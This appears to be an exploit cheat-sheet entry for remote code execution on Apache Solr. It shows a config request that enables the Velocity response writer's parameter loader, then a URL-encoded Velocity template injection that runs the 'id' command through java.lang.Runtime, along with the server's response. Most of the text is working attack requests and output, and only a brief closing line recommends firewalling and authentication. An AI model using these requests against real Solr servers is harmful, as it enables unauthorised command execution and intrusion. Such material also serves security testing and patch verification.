Apache Solr RCE via Velocity template

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Apache Solr RCE via Velocity template

Set "params.resource.loader.enabled" as true.

Request:
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POST /solr/test/config HTTP/1.1
Host: solr:8983
Content-Type: application/json
Content-Length: 259

{
  "update-queryresponsewriter": {
    "startup": "lazy",
    "name": "velocity",
    "class": "solr.VelocityResponseWriter",
    "template.base.dir": "",
    "solr.resource.loader.enabled": "true",
    "params.resource.loader.enabled": "true"
  }
}
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RCE via velocity template
Request:
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GET /solr/test/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end HTTP/1.1
Host: localhost:8983
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Response:
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HTTP/1.1 200 OK
Content-Type: text/html;charset=utf-8
Content-Length: 56

     0  uid=8983(solr) gid=8983(solr) groups=8983(solr)
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A lot of doors are open if Solr is exposed outside of a trusted network and without administrative authentication.

It is recommended to firewall Solr and enable authentication for all requests.